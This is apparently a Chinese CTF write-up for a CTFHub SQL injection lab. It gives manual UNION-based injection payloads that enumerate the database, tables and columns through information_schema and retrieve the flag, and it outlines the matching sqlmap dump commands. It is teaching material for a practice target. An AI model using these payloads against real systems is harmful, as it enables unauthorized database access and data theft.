2025.1.15——六、SQL结构【❤sqlmap❤】

题目来源:ctfhub技能树

目录

一、打开靶机,整理已知信息

二、手工注入解题

[step 1:查看注入类型](#step 1:查看注入类型)

[step 2:order by语句判断字段数](#step 2:order by语句判断字段数)

[step 3:爆数据库名](#step 3:爆数据库名)

[step 4:爆表名](#step 4:爆表名)

[step 5:爆列名](#step 5:爆列名)

[step 6:爆具体数据](#step 6:爆具体数据)

三、sqlmap解题------四步走

[step 1:--current-db](#step 1:--current-db)

[step 2:-D 数据库名 --tables](#step 2:-D 数据库名 --tables)

[​step 3:-D 数据库名 -T 表名 --columns](#step 3:-D 数据库名 -T 表名 --columns)

[step 4:-D 数据库名 -T 表名 -C 列名 --dump](#step 4:-D 数据库名 -T 表名 -C 列名 --dump)


一、打开靶机,整理已知信息

查看页面信息,提示"MySQL结构",所以为sql注入,两种思路:①手工注入;②sqlmap

二、手工注入解题

step 1:查看注入类型

键入:1

键入:1'键入:1''

键入:1 and 1=2 #

键入:1 and 1=1 #

由回显可得本题为整数型注入

step 2:order by语句判断字段数

键入:1 order by 2 #(根据经验,陌生题可使用二分法)

step 3:爆数据库名

sql 复制代码
1 and 1=2 union select database(),database() #

step 4:爆表名

sql 复制代码
1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

出现了奇怪的东西,继续看

step 5:爆列名

sql 复制代码
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='lcwaabhcjo' #

东西应该就在这里

step 6:爆具体数据

sql 复制代码
1 and 1=2 union select 1,zrlcbgazoj from sqli.lcwaabhcjo #

得到flag

三、sqlmap解题------四步走

step 1:--current-db

step 2:-D 数据库名 --tables

step 3:-D 数据库名 -T 表名 --columns

step 4:-D 数据库名 -T 表名 -C 列名 --dump

得到flag。【sqlmap------YYDS】

相关推荐
数据组小组11 小时前
免费数据库管理工具深度横评:NineData 社区版、Bytebase 社区版、Archery,2026 年开发者该选哪个?
数据库·测试·数据库管理工具·数据复制·迁移工具·ninedata社区版·naivicat平替
爱可生开源社区13 小时前
MiniMax M2.5 的 SQL 能力令人惊艳!
sql·llm
叶落阁主14 小时前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
Nyarlathotep011317 小时前
事务隔离级别
sql·mysql
悟空聊架构17 小时前
基于KaiwuDB在游乐场“刷卡+投币”双模消费系统中的落地实践
数据库·后端·架构
IvorySQL18 小时前
PostgreSQL 技术日报 (3月4日)|硬核干货 + 内核暗流一网打尽
数据库·postgresql·开源
Nyarlathotep011320 小时前
SQL的事务控制
sql·mysql
进击的丸子21 小时前
虹软人脸服务器版SDK(Linux/ARM Pro)多线程调用及性能优化
linux·数据库·后端
NineData2 天前
NineData智能数据管理平台新功能发布|2026年1-2月
数据库·sql·数据分析
IvorySQL2 天前
双星闪耀温哥华:IvorySQL 社区两项议题入选 PGConf.dev 2026
数据库·postgresql·开源